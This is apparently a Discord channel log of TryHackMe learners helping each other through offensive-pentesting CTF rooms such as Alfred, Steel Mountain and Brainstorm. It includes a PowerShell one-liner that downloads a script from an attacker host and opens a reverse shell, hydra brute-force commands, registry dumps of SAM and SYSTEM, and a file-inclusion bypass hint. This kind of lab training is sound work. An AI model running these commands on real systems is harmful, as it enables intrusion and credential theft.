#offensive-pentesting-path

1 messages · Page 2 of 1

wheat dew
#

i hope you can help me 🙂

#

can i share a screenshot somehow?

frank troutBOT
wheat dew
fleet wedge
#

what is exactly the difference between msfcosole and msfvenom ?

#

can´t I just do everything in msfconsole?

keen iris
#

Msfconsole is used to run metasploit modules

#

You can't create payloads from msfconsole

#

I don't have a kali to hand

fleet wedge
#

Okay thanks. I´ve seen that you also can use msfvenom within msfconsole by just typing in the msfvenom command. I just have to figure out how to search for the different modules, payloads and stuff. It seems a bit confusing to me

keen iris
crystal vine
#

could i get a little help with the file inclusion room challenge? feeling awful stupid

spring vine
crystal vine
#

so there's three flags, i got the first one, but stuck on the second

#

what i did so far was change the cookie value of THM to "admin"

#

this gave me the "this is a admin page, get the flag" message

spring vine
crystal vine
#

so i'm trying all sorts of chall2.php?file=/etc/flag2 things in the URL with this cookie enabled but to no avail

#

...not sure what you mean 😦

#

so i guess i'm not really understanding the whole concept of the entry point

#

cuz i read the forums and it says that cookie is the entry point, but i'm not sure how to use that

#

i'm so lost lol

#

it's alright, don't worry about it. i'll figure it out

#

thanks

#

got it 😄

#

||file path as the cookie value, use null byte to bypass the filter||

hoary lake
#

Phew. I just did brainstorm on my own. But let me tell ya, that was a long journey to get there!

I loaded a windows vm just so I could debug the binaries found. Anyone know of some ready made window vm's I can spin up that already have immunity debugger and friends for the future?

wind geode
hard pier
#

hi

wild folio
#

Hey i have an odd one

#

I have an audio prcessor with strings on a nonstandard port

#

What is that about

keen iris
#

@wild folio this channel is for the tryhackme offensive pentesting path.

fleet wedge
#

I Just completed the Relevant Ctf Everything went fine Until I had to Do Privilege-Escalation I couldn't find any exploit for that windows version or any service running on it .
Had to watch the Walk through .

After watching the walkthrough when i searched for the exploit like ( the service name and exploit) with windows version . i couldn't find the exploit Either and had to copy the name from the walk through and search for it . Which i think in real life Won't be possible .

how did you guys Did this CTF ?

keen iris
fleet wedge
keen iris
fleet wedge
#

ooh Thankyou So much @keen iris 🙂

devout spindle
#

hi in alfred machine i couldn't find root.txt

#

there is no root.txt

#

i terminate machine and restart again

#

but nothing change

#

info say file is in the windows/system32/config folder

#

i'm in there right now but no root.txt in there and also i used "search -f root.txt" in meterpreter but couldn't find

#

so any idea ?

#

okey

#

i found the root flag

#

but why i have to migrate i didn't understand

#

i was NT AUTHORITY\SYSTEM before migration

#

after migration same but i couldn't see root.txt

wraith ether
#

Hello, I could really use some help here. I'm working on my OSCP certification and got caught up on one of their Pen200 modules.. so I decided to come to tryhackme to maybe I would better understand how to tackle the Pen200. Now I'm stuck on tryhack me, lol. So I'm working on the 'Buffer Overflows' room. This room has a section where you're supposed to use gdb (I only know this from using the help / walkthrough I found online) to discover the 'special' function's memory address and then pass that address to the binary 'func-pointer'. I've been able to use the 'disassemble special' command in the gdb to find the memory address to call the special function. I am converting the hex into ASCII, but this is where my problem is. There are no equivalent ASCII characters for x05 that I can seem to pass to the 'func-pointer' program. I can only pass the hex that has some associated ASCII characters. Perhaps someone can help me figure out how I'm doing this incorrectly, and how to do you handle passing hex characters when the ASCII equivalent is 'blank'?

#

g@

#

I'll try rooms-help

true hedge
#

in some places, you can also copy&paste non-printable characters(because they are still there, just dont have a visible letter to represent them). so create a file with these chars, copy the "text" and paste it.

wraith ether
desert topazBOT
#

Gave +1 Rep to @true hedge

deep obsidian
#

Hi everyone, I've been trying to finish the room brainstorm for days now but I get this error when I try to load the application to the immunity debugger and I have no idea why. Does anyone have any ideas? I appreciate your help

keen iris
deep obsidian
candid girder
#

I'm playing Steel Mountain.
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
This is python2 code, does anyone know how to run it in python3?

twin flint
#

modify it to syntax from py3

viscid pulsar
#

Hi

#

need help on brainstorm

#

my exploit working on my windows but not on box. couldn’t understand why.

white knoll
#

Anyone had problems with Relevant? looks like it stops working after 1h and i am unable to terminate it. Happened 3 times already.

keen iris
eternal hare
#

In task 5 of Exploiting AD, about keylogging a user to get the password of the keepass database, the process of the user don't spawn. How long does it take ?

#

The network has been up for 20min and we had some trouble with the connexion so it was reset

marsh lark
#

does this path help me towards ecppt?

fleet wedge
#

hi

#

what does offensive pentesting mean?

pure grove
#

Hi

bronze rain
#

hey so im running into an issue using the immunity debugger. when i run the exploit for finding badchars, and i use the mona commands to compare the memory it gives me "invalid address used" NEVERMIND IM SLOW

#

when its 100% the ESP register value

green atlas
#

Hey, I am a bit stuck on task 8, flag 3 in this room: https://tryhackme.com/room/fileinc

I understand that I need to bypass the filtering of non alphabetic characters, and also make it not add .php at the end. Tried ....// instead of ../ and using %00, but none of these works, so I assume there is something else I must do.

I have been reading about $_REQUESTS, as the hint suggests, but haven't understood the connection to the task here. Been looking for it in the inspector in firefox, but haven't found it. Not sure if I am supposed to or not

ruby tide
#

I’m on the Alfred room and whenever I try to save the project i just get a “connection was reset’ error, I have tried this multiple times.. is it meant to be that way?

zinc niche
#

how can i debug this

keen iris
#

@zinc niche Do not ask the same question over multiple channels, it is spam

ruby tide
keen iris
#

Something along the lines of sudo ip link tun0 set mtu 1200 ?

vernal mason
#

or you can try the vpnscript

#

!vpnscript

frank troutBOT
vernal mason
#

as that checks for mtu issues and tries to set it to sane values too

hard pier
#

yo

thick plinth
#

hello

#

I'm Facing Problem in Steel Mountain

#

In Task 4 exploit is not working properly showing this

#

I've done as per instruction even see walkthrough Do I have to change any code ?

thick plinth
#

Okay I solved The Problem

candid basalt
#

qustion about buffer overflow prep

#

do you use the some file to finish all ten OVERFLOW tasks

green atlas
#

I'll try this again:

I am a bit stuck on task 8, flag 3 in this room: https://tryhackme.com/room/fileinc

I understand that I need to bypass the filtering of non alphabetic characters, and also make it not add .php at the end. Tried ....// instead of ../ and using %00, but none of these works, so I assume there is something else I must do.

I have been reading about $_REQUESTS, as the hint suggests, but haven't understood the connection to the task here. Been looking for it in the inspector in firefox, but haven't found it. Not sure if I am supposed to or not

vernal mason
green atlas
#

I did a little bit, but I guess I'll try that some more then

#

Thanks!

vernal mason
#

good luck

#

and remember that url encoding can get weird if you do not handle it properly making you unable to get the flag

tawny urchin
#

did you figure it out? I can't get the program to crash whatsoever lol

arctic crypt
#

I think my issue was that I was using 64-bit Windows, when I ran them in a 32-bit Windows vm they crashed at the correct number of bytes

crimson geode
crimson geode
desert topazBOT
#

Gave +1 Rep to @crimson geode

dusty jackal
#

don't know what i'm doing wrong

#

anyone done brainstorm room recently?

#

i've tried other codes online

#

same issue

#

i don't have access to upload a file

#

would have sent screenshot

modern jolt
#

hello there

ionic elm
eternal hare
polar valley
#

Hi guys
Alfred room
i have a question about this command:

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
#

for example if i load first the script

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/Invoke-PowerShellTcp.ps1','Invoke-PowerShellTcp.ps1')"

how can i run it? (2nd part of command)

Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

polar valley
#

I know you have to enter the full command to answer the room's questions and get rshell
but just to understand and learn if you can do it separately.

dusty pollen
#

Hey guys, what am I doing wrong? This is from the buffer overflow-brainstorm room. It's going in passive mode every time...

#

Connected to vpn
Machine is up and running
Yesterday it was the same

dense gate
dusty pollen
#

Thanks!!

spare tulip
spare tulip
#

is it me or is anyone else's jenkins server moving slow.

#

like i have to wait 2 mins before it allows me to put in a new command.

thick plinth
#

You will see what to change if you check the code

spare tulip
thick plinth
#

Run it with python2

spare tulip
#

ok

frank tulip
#

Hello, I've reached the room of Buffer Overflow Prep, which is a bunch of Tasks with barely any explanation. I'm not good in Buffer Overflow attacks and i need a place to start. Could you please provide me a guide or a room that starts with the basics that should be done before this room

vernal mason
frank tulip
#

Not very helpful either, it assumes you already know more than a beginner would

#

Hufff

vernal mason
#

then it is read writeups and try and learn from those

frank tulip
#

Trying but not finding good resources to be honest

vernal mason
#

well shadow is in the same boat.... just not at that room in this path yet

frank tulip
#

Thank you, I'll check it

desert topazBOT
#

Gave +1 Rep to @wary glen

frank tulip
#

Any resource helps

urban viper
#

Heyy Jo people. If you connect to some servers like Http-Server or IMAP-Server with telnet or netcat, there is curtain Strings that you want to send to communicate with those servers. For Example, when you communicate with HTTP-Server with Telnet, you would send 'GET / HTTP/1.1' and 'HOST: BLA'. My Question is: Is there any Website or Document where this Strings are listed in Reader-friendly-way for a lot of Servers(for FTP, HTTP,IMAP, and all the other stuffs, etc..)?

keen iris
rigid arch
#

Odd question but anyone know of a good writeup for the last part of Steel Mountain. After 2 hours I feel like something's off.

bold heart
#

hi. i'm trying to solve the steel mountain room. i'm trying do move the payload generated by msfvenom to the right directory in the target machine, but every time i try to move the file, it says "access denied"

#

any advice?

bold heart
rigid arch
bold heart
rigid arch
#

Sorry didn't get a lot of sleep last night but I can't recall where on that page I stopped. I believe it was copying the code from the links and utilizing it.

halcyon sparrow
#

Hi, I'm running the blue module and I've used metasploit to open a reverse shell to the target, but now my metasploit is opening a ton of sessions. Any thoughts as to what is going on? I'm on a kali virtual box connected over openvpn to thm.

rigid arch
rigid arch
#

Gotcha. Did you get that when attempting the nmap scan?

halcyon sparrow
#

i got that after chosing the exploit, adding the reverse shell payload, and sending the run command. i got a shell, but then it continues to open sessions

rigid arch
#

Did you pick use 0 or use 3?

halcyon sparrow
#

i did use 0

bold heart
#

it could be a random bug

rigid arch
#

^ you're about on track I believe without looking.

halcyon sparrow
#

so any idea what metaploit is doing when it's opening all those sessions?

#

it eventually stopped after 279 sessions...

rigid arch
#

Did you set rhost and lhost? They mention in the video you might need to reboot both machines if it goes crazy.

#

It's repeatedly trying to open sessions and failing and creating new ones until it runs out of space to open new ones.

#

Start at the 6 minute mark in the video and go until 6 minute 45 seconds.

halcyon sparrow
#

yeah, set the rhost according to the generated vm and set the lhost to my tun0 ip

#

i'm at a stable command prompt now so it seems to have settled down

rigid arch
#

If you ever need it to stop it when it goes off the rails Ctrl c will stop it.

halcyon sparrow
#

this is my first time swapping to kali on a virtualbox, previously only used the attackbox so it was weird

#

thanks for the assitance @rigid arch

desert topazBOT
#

Gave +1 Rep to @rigid arch

rigid arch
#

Aw thanks! Remember like we were saying might need to reboot the machine and I believe it takes a few minutes after boot until you can reach the target machine.

#

Sometimes you have to ping the machines ip to make sure.

#

Or wake it up it seems.

bold heart
#

if i'm not mistaken, the vulnerability used in this room uses a buffer overflow thing, so it may happen that the exploit run several times to take place

rigid arch
#

Yeah it's using the smb vulnerability if it's the Blue (Eternal Blue module).

halcyon sparrow
#

haha, now i have 278 sessions in metasploit. I think I'll just restart the vm and start over.

rigid arch
#

Wasn't sure if it was desktop, /use/bin/ or same as ncat.exe

rigid arch
rigid arch
#

They did a really awesome job of explaining the small details.

bold heart
bold heart
ember loom
lilac garden
#

Hi! I'm trying to complete the Blue room on this path, but can't seem to exploit Eternal Blue correctly (exploit runs, but not able to get a reverse shell). Not completely sure what I could be doing wrong, I'll post the error I receive

#

It does receive some valid responses back when running the exploit, but it can't establish the shell

vernal mason
#

can you show your options with show options

vernal mason
lilac garden
#

Just realized that

lilac garden
desert topazBOT
#

Gave +1 Rep to @vernal mason

vernal mason
#

no problem and good luck and have fun with the exploitation

rigid arch
#

Just to ask, but on the browser VMs you cannot use port 80 for any of the exercises as it's tied up with the browser VM control; correct?

#

Ergo you need it locally installed to a machine for the instructions to work when it calls for using port 80 for say http.server in python?

keen iris
rigid arch
#

Thank you! Now I need to figure out how to give rep. Haha

bold heart
desert topazBOT
#

Gave +1 Rep to @ember loom

lilac garden
#

Having some trouble with this part. Need to manipulate the path for /usr/bin/menu, but not really sure what to do

#

/usr/bin/menu runs as root, but I'm confused how to use it for privilege escalation

#

All good actually, was just overthinking it

raw wharf
#

Hi anyone here

#

Got stuck at JR pentesting path

#

File Inclusion room

finite pivot
#

Just ask your question, you'll get help faster.

raw wharf
#

In Lab #2, what is the directory specified in the include function?

#

Warning: include(includes/test) [function.include]: failed to open stream: No such file or directory in /var/www/html/lab2.php on line 26

Warning: include() [function.include]: Failed opening 'includes/test' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in /var/www/html/lab2.php on line 26

#

Can;t post a screen shot

#

answer format: 8 letter word

near dew
#

On brainstorm room, I scanned TCP and UDP ports with nmap and found a number of ports. Though, it is not the answer of the first question. Anything I'm missing here? I could get the answer by brute forcing the answer but meh...

vernal mason
storm tiger
near dew
storm tiger
#

I want to do this path in one week. Is one hour per room realistic?

obtuse pawn
finite pivot
#

How?

vernal mason
#

considering a huge amount of businesses and companies use active directory... yes it is important

finite pivot
#

AD is super fun.

vernal mason
#

shadows main complaint is that windows machines on tryhackme are not the fastest compared to linux ones

blissful cypress
vernal mason
blissful cypress
finite pivot
#

I always install the N versions.

#

It's reduced bloatware, still some there though.

keen iris
#

I like the Edu version, it's somewhere between pro and enterprise, got student licenses through azure for students

finite pivot
#

I haven't tried that one before, next time I need one I'll give it a bash.

lilac blade
#

I'm in the HackPark machine, Task 3

#

The place where I'm supposed to upload the .acpx file and obtain a reverse shell doesnt seem to work

#

The file has my tun0 attacker-ip, the listener port (1234)

#

and nc -lvnp 1234 is just stuck forever after triggering the payload.. what am I doing wrong?

vernal mason
#

what command did you use to generate the aspx file

lilac blade
#

It's a public download at exploit-db

#

*acsx

#

I got it... typo in the file extension 😦 Wasted 1 day after this

vernal sluice
#

I am having some issues on Brainstorm. Got everything working on my local system but it crashes the THM machine.. Any help here? I have tried different payloads. Still the same..

#

I can get root access on my own machine, But not the THM machine... 😦

vernal mason
vernal sluice
#

Yeah i figured that much. but nothing helps. My exploit dosent work. I event tried some different. I time e Netcat in i get the chatserver. But the exploit just chrases and no shell.

#

i even borrowed a shell that "works"

vernal sluice
#

figured it out. my vpn was to blame. i ran the thm.troublesoot script. and the MTU value was off..

lilac blade
#

I got a problem with metasploit and SSL for the GAME ZONE box

#

Task 4, I've got my exploit and payload set upp. Auth fail when I run it. Says

#

"[-] Exploit failed [unreachable]: OpenSSL::SSL::SSLError SSL_connect returned=1 errno=0 state=error: wrong version number"

#

No results on Google. Looks like a SSL version mismatch... But do I downgrade it?? I'm not sure how to read into this. Can anyone help?

lilac blade
#

It worked finally. I just kept hitting run and the 10th time it connected.

drifting ibex
#

I am doing the HackPart CTF, but still have no idea how to find the name of the clown which displayed on the homepage(Task 1)

#

Did I miss something?

dense gate
drifting ibex
#

thanks

ruby tide
#

I’m doing the brainstorm room, i tried connecting to the ftp with anonymous login, it allow anon login but when I try to list files it enters passive mode, i also tried using the Nmap script it says Anonymous FTP login allowed (FTP code 230) ….can’t get directory listing: Timeout .. am I missing something ?

#

Lol 😂 you are not alone, powershell sucks even more

neat viper
#

Hi, guys. I have a problem with Overpass 2 room. I tried to connect to 2222 port, but terminal output me

Unable to negotiate with <ip> port 2222: no matching host key type found. Their offer: ssh-rsa
I google it, and found answer with -oHostKeyAlgorithms=+ssh-rsa. I tried too, ssh tell me authorize, then I write a CORRECT password, but nothing happened! Password is "||november16||".

vernal sluice
#

And before you mget all the files you need to enter binary mode, to ensure the files dont get corrupted

desert topazBOT
#

Gave +1 Rep to @vernal sluice

ruby tide
unborn siren
#

Hey y'all, I reset the Daily Bugle room and no matter what I try I cannot crack the hash to the jonah account. Has anyone successfully done this room recently?

#

FWIW I have had John and Hashcat attempt this and both have ran for hours

vernal mason
vernal mason
vernal mason
unborn siren
#

Thanks I’ll try that and see how it goes

wraith ether
#

working my OSCP and really having a tough time with one of their coding exercises. I know its simple but I'm not very good at coding. I need to create a Bash script that will ping a range of IPs you input as a variable and only reply back with hosts which are live. The syntax would be something like 'ping.sh 192.168.2 1 10 . This would ping IPs 1-10 on the 192.168.2.x subnet. Anyone able to assist?

steady scroll
unborn siren
gloomy escarp
#

Room: Credentials Harvesting
Task 4: Local Windows Credentials

Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation

[-] 'NoneType' object is not subscriptable
[*] Cleaning up... ```
#

why didnt it work?

#

Hm Strange, Tried a different method and it worked

Used this below command to dump the sam and system and used those files with impacket
reg save HKLM\SAM sam.bak; reg save HKLM\SYSTEM system.bak

wild bear
#

hello

swift stone
#

for the bufferoverflowprep - i did a few and then left... how do i pick up where i left off? when i try and load the .exe it starts me back at one... trying OVERFLOW 5 test - doesnt start the program at 5 just at 1 😦

vernal sluice
#

you can even start at 10

swift stone
#

blinks lol im dumb... ty

#

i thought the nc command is what did it somehow

#

😄

vernal sluice
#

Just do the tasks religously. It helps later 🙂

tardy warren
#

In Gatekeeper room, may i have to install my own Windows machine with immunity debugger?

vernal mason
#

though you could technically cheat with using the buffer overflow prep target machine and just move the executable onto said target machine

tardy warren
desert topazBOT
#

Gave +1 Rep to @vernal mason

vernal mason
#

no problem

#

how to make a windows vm???

#

well not sure

tender trail
#

download the win 10 iso and install it on virtualbox or vmware?

vernal mason
#

darn microsoft dicontinued the edge debugging virtualbox vm:s

ruby tide
#

I’m on the brainstorm room and I can’t seem to find a fuzzer to crash the chat server program, any help? Or maybe I’m not doing it right

vernal mason
ruby tide
vernal mason
#

oh good you figured out the issue yourself

polar geyser
#

Probably a dumb question
For the bufferflow tasks, do I have to complete all of them on the challenge VM?
It's incredibly slow and annoying

vernal sluice
finite pivot
polar geyser
#

(I always download tasks for later :P)

vernal sluice
#

Not in the program. Just the IP.

drifting ibex
#

I am solving the Daily Bugle room (Task2), but when I am executing the joomblah.py script it shows the following error message, please tell me how to fix it

#

[-] Fetching CSRF token
[-] Testing SQLi
Traceback (most recent call last):
File "/home/kali/Desktop/daily_bugle/joomblah.py", line 186, in <module>
sys.exit(main("http://192.168.10.100:8080/joomla"))
File "/home/kali/Desktop/daily_bugle/joomblah.py", line 183, in main
pwn_joomla_again(options)
File "/home/kali/Desktop/daily_bugle/joomblah.py", line 147, in pwn_joomla_again
tables = extract_joomla_tables(options, sess, token)
File "/home/kali/Desktop/daily_bugle/joomblah.py", line 74, in extract_joomla_tables
result = joomla_370_sqli_extract(options, sess, token, "TABLE_NAME", "FROM information_schema.tables WHERE TABLE_NAME LIKE 0x257573657273 LIMIT " + str(offset) + ",1" )
File "/home/kali/Desktop/daily_bugle/joomblah.py", line 46, in joomla_370_sqli_extract
result += value
TypeError: can only concatenate str (not "bytes") to str

steady scroll
#

@drifting ibex What's the command your using?

drifting ibex
drifting ibex
desert topazBOT
#

Gave +1 Rep to @steady scroll

polar geyser
#

The Buffer Overflow Exploitation module is really fun, 10/10 would recommend, nocap frfr

keen moon
#

hello, can someone point me to the right direction using a certain metasploit module?
im on the enumerating STMP section and I need to use stmp_enum in metasploit to discover the system mail name
but actually metasploit with the given commands does not return the expected results
it scans and says aux. modules execution completed, but it does not say anything.

#

I heard this specific module is not great, is there any other way to discover it?

vernal mason
cloud scaffold
#

Hello, I am trying to run hydra on http post login form but getting multiple passwords in response. Can somebody please guide me what am I doing wrong here? Here's my command sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.56.172 http-post-form "/Account/login.aspx:UserName=admin&Password=^PASS^:Login failed"

fleet wedge
#
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.56.172 http-post-form "/Account/login.aspx:username=admin&password=^PASS^:Login failed" -f -vv 
#

Try this

desert topazBOT
#

Gave +1 Rep to @turbid notch

cloud scaffold
# fleet wedge Try using -f ( so hydra stops when it finds a valid Cred ) and why run it with S...

Thanks for the help. I tried adding cookies to the command and it worked sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.138.187 http-post-form "/Account/login.aspx:__VIEWSTATE=2mg4pY6EsI2J5q1OG1jLQ%2BpQ0lnzolWWzSPSyNzOXqPhqVQomQ243dzseoC9w4TZ%2FYaE%2BpMfcqSRMtmOdwh5ZxWKB%2B6JAire6gWxDleqv7GIt4RGA0EA8Hd%2FofoRgte%2F%2FrNaKb0pI3V%2BhbcKLRrf7%2BfuS%2BjJ4vh41wFWJsM2%2FYJXsrkO&__EVENTVALIDATION=YcMApz62%2B4jbOtkD5XtqW171khBIdohX9%2Fu2b6tciZGVoUZeuanljoHQwsB0Q%2FbLtsnvJ%2FEClKLr%2BbKe6qgKpGU1LqGqvufdIMGEw7HhbHDO6JbRE%2Fg5AE9ArDH1JJ3xp3gr5l4dtGuwUoEnYQjh3Q6YkhPjoWqqtFrEVtt%2BLQYU8i5D&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed" -V

sour silo
#

Hey guys,
Need some help in the Alfred Room... I am trying to connect to the webserver using rev shell and cmd keeps failing due to an & 'ampersand' error. Can someone explain me my error!

fleet wedge
#

You are not Uploading the shell right

#

You might doing it Wrong @sour silo
Go to Jenkins > Project Add the command in build section . Save it come back and then keep your listener ready and just execute it
Don't forget to start a webserver for that Powershell file

#
and then getting a connection back to your Listener ```
umbral fjord
#

Anyone tried "Internal" machine today? I am having problems with it, can´t log with the credentials I found.

fleet wedge
sour silo
fleet wedge
#

I won't mind if you can show me ( how you're doing it ) in VC .

sour silo
#

The path and spell check is good. The only I dont get is ampersand not allowed

fleet wedge
sour silo
drifting ibex
#

I'm doing Attacktive Directory room (Task 5), but when I'm executing GetNPUsers.py, it shows the following error message, is there something I'm doing wrong?

fleet wedge
#

The domain is named spookysec.local not spooky.local

drifting ibex
#

@fleet wedgeLooks like I really need a nap right now🤣

#

@fleet wedge Thanks for your help

desert topazBOT
#

Gave +1 Rep to @turbid notch

gaunt musk
#

Hi team, I got a question about the Active Directory "sub path". Why is there a time limit in certain rooms? For some rooms I see a "You have access to this room for a limited time" and on the top left corner something like "3 days of access left". What happens after that time expires?

#

Oh OK, I see. Cool! I found it a little odd since it was the first time I joined some of those rooms. Thanks for clarifying!

umbral fjord
fleet wedge
umbral fjord
#

it is some url like ip/blog/wp-login.php

#

yep.. but before uploading the reverse shell we need to find "admin" password and log into wordpress through browser so we can upload the rev shell

fleet wedge
#

You have to hack wordpress get the Panel and upload Php-revershell .

umbral fjord
#

I am not being able to log into wordpress through browser

fleet wedge
umbral fjord
#

admin and a password

fleet wedge
#

Yeah what was the username and the pass ?

umbral fjord
#

login:admin password:my2boys

fleet wedge
#

Sound about right

umbral fjord
#

the login page was not even being loaded properly

#

there was no wordpress logo

fleet wedge
umbral fjord
#

I think there is some bug

fleet wedge
umbral fjord
#

ok..

fleet wedge
#

that's why you can't see the blog or the wordpress login panel right

umbral fjord
#

I never had to add any name into my /etc/hosts

fleet wedge
#

go to /etc/hosts add ip and then internal.thm

umbral fjord
#

ok. thank you!

#

I will try it when I get home

#

I never had to add any name to /etc/hosts on tryhackme machines

#

I thought there was some default configuration

fleet wedge
umbral fjord
#

I am using the AttackBox and Kali from web browser

fleet wedge
umbral fjord
#

I like attackbox, I can use it from anywhere

fleet wedge
#

Lolz i also forgot to remove it from my host file

umbral fjord
#

lol

fleet wedge
#

True but you can also use your terminal using SSH from anywhere 🙂 It dosen't suck and it's way faster .

#

Now that you are playing Internal
what are you plans regarding Buffer-overflows

umbral fjord
#

Well, I try to do one machine a day.. of course it doesnt always work because I usually have 3h-5h to try it each day

#

if I own internal today I might start buffer overflow Rooms

#

also today

#

I've never did any bufferoverflow vulnerability

#

not that I remember

fleet wedge
#

Well it's not a Walkthrough room As they defined it It test you
and i haven't found much guide regarding it in THM either
Some People suggested me to learn it from somewhere else
But personally i just moved to active-directory

#

AS thm says Please note that this room does not teach buffer overflows from scratch. It is intended to help OSCP students and also bring to their attention some features of mona which will save time in the OSCP exam.

umbral fjord
#

nice

#

this is what I was looking for anyway... some rooms that prepares for OSCP, I may try it in the future

fleet wedge
#

yeah plan the same
I'll just complete the other stuff and move to Networks & Red-teaming for now .

umbral fjord
#

I will try Buffer Overflow, If it takes too much time I might stop trying the machines a little and study a lil more about BuffOverflow

fleet wedge
#

Hello family and friends?

vernal mason
#

ello

glad talon
#

Hello friends , anyone getting error in room Lateral Movement and Pivoting

#

the nslookup fails. I already have done 'Breaching AD' and 'Enumerating Active Directory'

fleet wedge
polar tiger
#

Hi,
I am trying to solve the Gatekeeper room and while testing for BoF my script is failing to fuzz.
It keeps on crashing in the first iteration whereas when I used netcat the data flows as required.

#

First Connection is when connected from netcat and second is when connected via script.

queen pewter
queen pewter
vernal mason
#

oh right that is the one shadow cracked with ruby instead of python

#

before shadow figured out how pyenv and virtualenv and venv worked

tulip nova
#

Thanks man a lot!

desert topazBOT
#

Gave +1 Rep to @vernal mason

vernal mason
#

no problem

fleet wedge
#

I finished Jr Pentester path and started Offensive Pentesting. First room was Alfred. Am I supposed to solve this on my own? Because I had to look up a walkthrough video and I feel like a loser lol.

#

no, this is a good idea i should do that

slender frigate
#

Hi I have question about bufferover flow room

#

I did the right steps to get the offset of overflow2 but it’s wrong I tried different msf pattern bytes I still get the same offset

#

So why is it wrong what mistakes am i doing?

vernal sluice
fleet wedge
#

I am in buffer overflow room and I do not really understand what is going on. Can you recommend some learning resources on this for a beginner?

vernal sluice
# fleet wedge I am in buffer overflow room and I do not really understand what is going on. Ca...

Hi everyone! I hope you enjoyed this video. Please do consider subscribing so we can continue making awesome hacking content! You can find more awesome content and courses at https://academy.tcm-sec.com

Timestamps below:

0:00 - Introduction
1:23 - Downloading Our Materials
7:43 - Buffer Overflows Explained
11:56 - Spiking
22:12 - Fuzzing
28:...

▶ Play video
#

That is a really good start. Explains a lot of things to get you started.

#

Also read up on Buffer Overflow basics 🙂

fleet wedge
#

i think i should get a book on C haha

vernal sluice
#

Dont need to know C for buffer overflow 😛 When you understand the simple basic of BOF it just clicks.

#

But the OSCP BOF room is not good for understanding BOF.

#

it is a practice room. So if you dont understand it right now just read a little and do vulnserver. and watch some videos explaining it you will get there 🙂 i dont know almost any C and i managed the room and Brainpan,Gatekeeper.

solemn torrent
#

hey guys

#

im having issues in alfred room

#

after putting the payload

#

thats my ip

#

i click on apply and immediately i click on save the site crashes

#

is there an admin here or a mod?

finite pivot
#

Why do you need a mod/Admin?

solemn torrent
#

i wanna know why it keep crashing

#

instead of uploading the script

finite pivot
#

Mods/admin != Site staff.

(With the exception of Fontaene, Jabba, Ben)

finite pivot
solemn torrent
#

nope

#

i think discord is doing that

#

its the same payload from the alfred lab

solemn torrent
#

i tried to download it from another tab and it works

somber pagoda
#

Hello,
I'm in the basicpentesting room, and I try to get a username and password from the port 80 using nmap --script smb-brute -p 80 <IP> but it just outputs that port 80 is open and the mac address, what am I doing wrong?

I've also tried doing http-brute, same thing
It says in the Hint that I should use SMB, which I did 🤔

vernal mason
#

well smb is definitely not running on port 80

somber pagoda
#

Should I access a pathway?

#

I did it on the open 445 port and it says no accounts found 😩

vernal mason
somber pagoda
#

nmap --script smb-enum-users -p 445 <IP> gives nothing too

#

Gives

PORT STATE SERVICE 445/tcp open microsoft-ds MAC-ADDRESS: <mac address>

vernal mason
#
---
-- @usage
-- nmap --script smb-enum-users.nse -p445 <host>
-- sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>
somber pagoda
#

Didnt work

#

Same same for some reason

#

nmap --script smb-enum-users.nse -p445 <host>

vernal mason
#

eh meep it... just assume there is an anonamyous user on smb on there and use smb client to connect to the share

#

also known as doing smbclient -L //iphere/

somber pagoda
vernal mason
#

just hit enter on that prompt

fleet wedge
#

Hi I am in buffer overflow prep room. I am looking for bad characters using mona as described in the room !mona compare -f C:\mona\oscp\bytearray.bin -a <address> The room says Repeat the badchar comparison until the results status returns "Unmodified". This indicates that no more badchars exist.
However I cannot get to this point. I remove the bad characters from the payload, generate bytearray using !mona bytearray -b "\x00" adding the bad characters I found but the compare function always returns the bad characters I already removed

vernal sluice
#

You have to add them to the command !mona bytearray -b "\x00 INN HERE"

#

and gererat a new byte array to send without those characters

fleet wedge
#

I did that but i found out it was caused by not updating the address on the second run

vernal sluice
#

Ahhh. Well you learend something new then 🙂

somber pagoda
#

Whenever I do nmap -P80 (or any other port) it says "Illegal argument to -P, use -Pn, -PE, (etc, etc)

vernal mason
#

yeah use a small p to specify port

#

large p has another meaning

somber pagoda
#

Ah gotchu

#

Btw I'm still on the basic pentesting room, and Port 80 is open with a apache server. I tried the nmap --script ajp-brute -p8009 <IP> because the "AJP Jserv" is on that port, but it says it doesnt need a login

#

Answer needs a username and password tho

#

I found a hidden directory with the name "development" earlier, which I'm intending to get into, but the question is how I brute force the servers username and pswd

somber pagoda
#

Never heard of it. Will have to read up on it on the practice part of THM

vernal mason
#

it is a good tool to know and definitely recommend checking it out and reading up on it

somber pagoda
#

Weird thing is that this room was under "Based on your experience" but doesn't seem as if I'm there quite yet

vernal mason
#

there are quite a few rooms on tryhackme where hydra is the answer to get in

somber pagoda
#

But hey, trying out stuff you dont understand makes you realize you still are green as hell haha

solemn torrent
#

hey guys

#

im doing the daily bugle

#

after i put my reverse shell

#

and try to save it loses connection

#

anyone know why?

vernal sluice
#

It happens when you save the php file not when you are accessing it again?

untold holly
# solemn torrent

worth to check that your machine/room not exceeded the expiry counter

pure grove
sonic lion
#

anybody able to help in -lvnp online?

#

nc -lvnp

#

listener

odd stone
#

anyone can help me with brainstorm room? i downloaded chatserver.exe but i cannot open it on immunity debugger its saying i need 64bit

odd stone
vernal sluice
vernal sluice
#

And do you know what your system is?

odd stone
#

the print screen now is x64

vernal sluice
#

sounds really wierd.

#

i had som issues but that was corrupted files.

odd stone
#

but on windows 10pro 32bit it opened

vernal sluice
#

what command did you use to download from ftp server?

bold heart
#

hi. in the last part of the Game Zone room, in order to gain a root shell in metasploit (using module exploit/unix/webapp/webmin_show_cgi_exec and payload cmd/unix/reverse), it was needed to change the parameter SSL to false. does anyone know why is it?

keen iris
#

So you need to tell metasploit not to talk https to it

